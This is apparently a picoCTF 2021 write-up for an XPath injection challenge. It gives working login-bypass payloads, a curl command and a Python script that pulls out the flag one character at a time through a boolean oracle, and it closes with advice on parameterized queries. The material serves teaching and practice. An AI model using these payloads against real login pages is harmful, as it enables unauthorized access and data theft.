Skip to main content

X marks the spot picoCTF 2021 Solution

Exploit an injection vulnerability in a web app's query handling to extract server-side data containing the flag.

Published: April 2, 2026Updated: August 25, 2026

Description

There is a login page. Can you bypass it? The hint says XPath.

Remote

Navigate to the challenge login page.

bash
# Open the challenge URL in your browser

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Test for XPath injection
    Observation
    The hint names XPath outright, and the login page takes free-form text. So the backend is embedding user strings straight into an XPath expression, which a mismatched quote will break.
    Try injecting a single quote in the username field. If the page returns a different error than a normal login failure, the backend is using XPath to look up credentials. A payload like ' or 'x'='x (using single quotes to break out of the XPath string) should return a success condition if the injection works.
    bash
    # Test injection in the name field:
    # name: ' or 'x'='x
    # password: ' or 'x'='x
    bash
    curl -X POST http://<server>/ --data "name=' or 'x'='x&password=' or 'x'='x"
    What didn't work first

    Tried: Try a SQL injection payload like ' OR 1=1 - in the username field

    XPath has no equivalent of SQL's comment syntax, so a trailing - never silences the rest of the condition. The parser reads those characters as part of the string, and the query either errors or matches nothing. An XPath tautology has to close with a balanced string instead.

    Tried: Submit a double-quote instead of a single quote to test injection: " or "x"="x

    XPath string literals take either single or double quotes, but your delimiter has to match the one the application's template used. If the server wraps input in single quotes, injecting double quotes never escapes the literal, and you get an ordinary login failure with no injection at all. Watch how the response changes with a single quote to identify the right delimiter.

    Learn more

    XPath injection is analogous to SQL injection but targets XML databases queried with XPath expressions. A typical login query looks like:

    /users/user[name='INPUT' and password='PASS']

    Injecting a single quote breaks the XPath string literal. Submitting ' or 'x'='x as the name turns the query into:

    /users/user[name='' or 'x'='x' and password='pass']

    Note the operator precedence: XPath binds and tighter than or, so this reads as name='' OR ('x'='x' AND the password matches). To make the whole predicate true regardless of the stored password, inject the same tautology into the password field as well. The other building block is contains(., 'str'), which tests whether the current node's string value contains a substring; that is what turns the login form into a data-extraction oracle in the next step.

  2. Step 2Brute-force the flag character by character
    Observation
    The server returns a distinct success message only when the injected payload matches, which is a boolean oracle. XPath's contains() then extracts the flag one character at a time in an automated loop.
    Once injection is confirmed, use the contains() XPath function to test whether the flag contains a given prefix. Automate this with a Python script that adds one character at a time and checks the server response for 'You are on the right path'.
    python
    python3 << 'EOF'
    import requests
    
    url = "http://<server>/"
    flag = "picoCTF{"
    chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}"
    
    while True:
        found = False
        for c in chars:
            guess = flag + c
            # Inject: ' or contains(.,'picoCTF{h') or 'x'='X
            payload = f"' or contains(.,'{guess}') or 'x'='X"
            r = requests.post(url, data={"name": payload, "password": "pass"})
            if "right path" in r.text:
                flag = guess
                print(f"Flag so far: {flag}")
                found = True
                if c == "}":
                    print(f"Flag: {flag}")
                    exit()
                break
        if not found:
            print("No character matched. Done.")
            break
    EOF

    Expected output

    picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_...}
    What didn't work first

    Tried: Use starts-with() instead of contains() in the brute-force payload

    starts-with() would work for prefix extraction too, and contains() succeeds here because the script always grows from the known picoCTF{ anchor, which keeps the substring unique. The danger is using contains() without that anchor: a bare character matches anywhere in any node's text, giving false positives from usernames or passwords stored in the same XML document.

    Tried: Check for the success string 'You are on the right path' with an exact case-sensitive match in the script

    If the script checks case-sensitively for a phrase and the server actually returns a different capitalization or wording, the oracle reads false every time and the flag never grows. Print the response body for the first few requests to confirm the exact success string before automating.

    Learn more

    Why contains() works here. The XPath contains(., 'prefix') returns true if the current node's string value contains the given string anywhere within it. Because the script always grows the candidate from left to right (starting from the known picoCTF{ prefix), every successful guess uniquely extends the prefix, making contains() an effective character-by-character oracle even though it is not a strict prefix check. (The XPath function for prefix-only testing is starts-with().) The server says either "you are on the right path" (the extended prefix is found) or "login failure" (wrong character), reducing the search from exponential to linear in the flag length.

    XPath vs SQL injection. XPath injection is less common than SQL injection because XML databases are less common than relational databases, but the attack pattern is identical: break out of a string literal, inject a boolean expression, and use the application's response as an oracle. XPath has no comment syntax equivalent to SQL's --, so the closing condition must be balanced with a tautology like or 'x'='x.

Interactive tools
  • URL Encoder / DecoderEncode and decode URL-encoded (percent-encoded) strings. Useful for web exploitation challenges involving query parameters, form data, and HTTP headers.

Flag

Reveal flag

picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_...}

XPath injection uses the contains() function to brute-force flag characters one at a time, using the server response as a boolean oracle.

Key takeaway

XPath injection has the same root cause as SQL injection: user input concatenated into a query expression rather than bound as a parameter, which lets an attacker rewrite the logic. Boolean-blind extraction, where a true or false response leaks the secret one bit at a time, works identically against SQL, XPath, LDAP, and NoSQL. The fix is always parameterized queries, or allowlist validation before any user value reaches a query constructor.

Related reading

Useful tools for Web Exploitation

Where to go next